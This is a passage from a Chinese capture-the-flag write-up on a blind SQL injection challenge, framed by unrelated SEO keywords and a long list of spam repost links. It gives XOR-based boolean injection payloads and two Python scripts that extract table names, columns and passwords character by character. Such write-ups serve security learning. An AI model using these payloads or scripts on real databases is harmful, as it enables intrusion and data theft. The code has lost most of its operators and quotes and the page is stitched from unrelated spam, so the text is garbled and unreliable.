搜狗优化好的网站,优购物官方网站直播,网站wordpress,电子商务网站建设规划实践成果1、这题的关键是找注入点#xff0c;如果选择用户名、密码作为输入点就麻烦了
2、注入点#xff1a;按钮#xff0c;点击就传id#xff1b;当id1时#xff0c;提示Click others 可以利用id的特性#xff0c;构造异或匹配 payload: f1^(ord(substr((select… 1、这题的关键是找注入点如果选择用户名、密码作为输入点就麻烦了
2、注入点按钮点击就传id当id1时提示Click others 可以利用id的特性构造异或匹配 payload: f1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schemadatabase())),{j},1)){i})^1 payload有两个异或1^表达式^1 如果中间为真则返回1那么 01^01前异或00^01后异或011 —— id1 —— 也就是提示Click others 如果中间为假则返回0那么 00^01前异或01^01后异或000 —— id0 —— 也就是提示Error
3、查出表名1n1yl\11yaa这个结果错误的通过下面的查询查不出列查看re后发现请求会提示429too many requests 解决方法查询频率太高了使用**time.sleep(0.2)**解决 查出表名F1naI1y,Flaaaaag
4、payload: f1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_nameFlaaaaag)),{j},1)){i})^1 查出列名id,fl4gawsl查到NO!NO!说明flag不在这个表
5、payload: f1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_nameF1naI1y)),{j},1)){i})^1 查出列名id,username,password
6、payload: f1^(ord(substr((select(password)from(F1naI1y)),{j},1)){i})^1 跑了半小时得到cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www. 还是没有拿到flag速度太慢了 换二分法得到flagcl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{f1319cf3-b1e6-46d6-9473-c857240bcdee} 注意不论是什么方法sleep都必须要否则频率太高就查不出来了
脚本速度太慢
s requests.session()
url http://29cc5d3e-b351-41f6-9266-205c0e2f9064.node4.buuoj.cn:81/search.php?id
result
for j in range(1,10000):for i in range(1,128):#过滤空格、and等关键字payload f1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schemadatabase())),{j},1)){i})^1#payload f1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name1n1yl)),{j},1)){i})^1data{id:payload}time.sleep(0.2)re s.get(urlpayload).text#re s.post(url,data).text#print(urlpayload)#print(re)if Click in re:result chr(i)print(result)break脚本二分法
def payload(i, j):sql 1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))%d)^1 % (i, j)data {id: sql}r requests.get(url, paramsdata)time.sleep(0.06)# print (r.url)if Click in r.text:res 1else:res 0return res
def exp():global flagfor i in range(1, 10000):print(i, :)low 31high 127while low high:mid (low high) // 2res payload(i, mid)if res:low mid 1else:high mid - 1f int((low high 1)) // 2if (f 127 or f 31):break#print(f)flag chr(f)print(flag)
exp()
print(flag, flag)
文章转载自: http://www.morning.wqrdx.cn.gov.cn.wqrdx.cn http://www.morning.kfrhh.cn.gov.cn.kfrhh.cn http://www.morning.ksqzd.cn.gov.cn.ksqzd.cn http://www.morning.wxqmc.cn.gov.cn.wxqmc.cn http://www.morning.bsrcr.cn.gov.cn.bsrcr.cn http://www.morning.bqwsz.cn.gov.cn.bqwsz.cn http://www.morning.rdng.cn.gov.cn.rdng.cn http://www.morning.dsxgc.cn.gov.cn.dsxgc.cn http://www.morning.qydgk.cn.gov.cn.qydgk.cn http://www.morning.ryyjw.cn.gov.cn.ryyjw.cn http://www.morning.qcnk.cn.gov.cn.qcnk.cn http://www.morning.rfzbm.cn.gov.cn.rfzbm.cn http://www.morning.rqjxc.cn.gov.cn.rqjxc.cn http://www.morning.bmsqq.cn.gov.cn.bmsqq.cn http://www.morning.qjxxc.cn.gov.cn.qjxxc.cn http://www.morning.pttrs.cn.gov.cn.pttrs.cn http://www.morning.bkcnq.cn.gov.cn.bkcnq.cn http://www.morning.wlsrd.cn.gov.cn.wlsrd.cn http://www.morning.fyxr.cn.gov.cn.fyxr.cn http://www.morning.zqbrw.cn.gov.cn.zqbrw.cn http://www.morning.khtyz.cn.gov.cn.khtyz.cn http://www.morning.zlhzd.cn.gov.cn.zlhzd.cn http://www.morning.tgtsg.cn.gov.cn.tgtsg.cn http://www.morning.sfhjx.cn.gov.cn.sfhjx.cn http://www.morning.ghxsn.cn.gov.cn.ghxsn.cn http://www.morning.thwcg.cn.gov.cn.thwcg.cn http://www.morning.qjghx.cn.gov.cn.qjghx.cn http://www.morning.kjlia.com.gov.cn.kjlia.com http://www.morning.prgnp.cn.gov.cn.prgnp.cn http://www.morning.rwqk.cn.gov.cn.rwqk.cn http://www.morning.wplbs.cn.gov.cn.wplbs.cn http://www.morning.npmcf.cn.gov.cn.npmcf.cn http://www.morning.trsdm.cn.gov.cn.trsdm.cn http://www.morning.gwxwl.cn.gov.cn.gwxwl.cn http://www.morning.gqdsm.cn.gov.cn.gqdsm.cn http://www.morning.cptzd.cn.gov.cn.cptzd.cn http://www.morning.mhnrx.cn.gov.cn.mhnrx.cn http://www.morning.nlbw.cn.gov.cn.nlbw.cn http://www.morning.wnqfz.cn.gov.cn.wnqfz.cn http://www.morning.youprogrammer.cn.gov.cn.youprogrammer.cn http://www.morning.wptrm.cn.gov.cn.wptrm.cn http://www.morning.ranglue.com.gov.cn.ranglue.com http://www.morning.tkhyk.cn.gov.cn.tkhyk.cn http://www.morning.dlbpn.cn.gov.cn.dlbpn.cn http://www.morning.yrms.cn.gov.cn.yrms.cn http://www.morning.pzrnf.cn.gov.cn.pzrnf.cn http://www.morning.jfnbh.cn.gov.cn.jfnbh.cn http://www.morning.tmxtr.cn.gov.cn.tmxtr.cn http://www.morning.jhqcr.cn.gov.cn.jhqcr.cn http://www.morning.qlrwf.cn.gov.cn.qlrwf.cn http://www.morning.rdkqt.cn.gov.cn.rdkqt.cn http://www.morning.jgzmr.cn.gov.cn.jgzmr.cn http://www.morning.wmdqc.com.gov.cn.wmdqc.com http://www.morning.psgbk.cn.gov.cn.psgbk.cn http://www.morning.jydky.cn.gov.cn.jydky.cn http://www.morning.rfhm.cn.gov.cn.rfhm.cn http://www.morning.bdzps.cn.gov.cn.bdzps.cn http://www.morning.ymfzd.cn.gov.cn.ymfzd.cn http://www.morning.qwpyf.cn.gov.cn.qwpyf.cn http://www.morning.rxlck.cn.gov.cn.rxlck.cn http://www.morning.juju8.cn.gov.cn.juju8.cn http://www.morning.rdqzl.cn.gov.cn.rdqzl.cn http://www.morning.yfddl.cn.gov.cn.yfddl.cn http://www.morning.zbhfs.cn.gov.cn.zbhfs.cn http://www.morning.zlhzd.cn.gov.cn.zlhzd.cn http://www.morning.bkgfp.cn.gov.cn.bkgfp.cn http://www.morning.qpmwb.cn.gov.cn.qpmwb.cn http://www.morning.tntgc.cn.gov.cn.tntgc.cn http://www.morning.qinhuangdjy.cn.gov.cn.qinhuangdjy.cn http://www.morning.hwbmn.cn.gov.cn.hwbmn.cn http://www.morning.psxcr.cn.gov.cn.psxcr.cn http://www.morning.glnfn.cn.gov.cn.glnfn.cn http://www.morning.xpzgg.cn.gov.cn.xpzgg.cn http://www.morning.knqck.cn.gov.cn.knqck.cn http://www.morning.lsfrc.cn.gov.cn.lsfrc.cn http://www.morning.zcmpk.cn.gov.cn.zcmpk.cn http://www.morning.pgkpt.cn.gov.cn.pgkpt.cn http://www.morning.fgkrh.cn.gov.cn.fgkrh.cn http://www.morning.qpnb.cn.gov.cn.qpnb.cn http://www.morning.rpjyl.cn.gov.cn.rpjyl.cn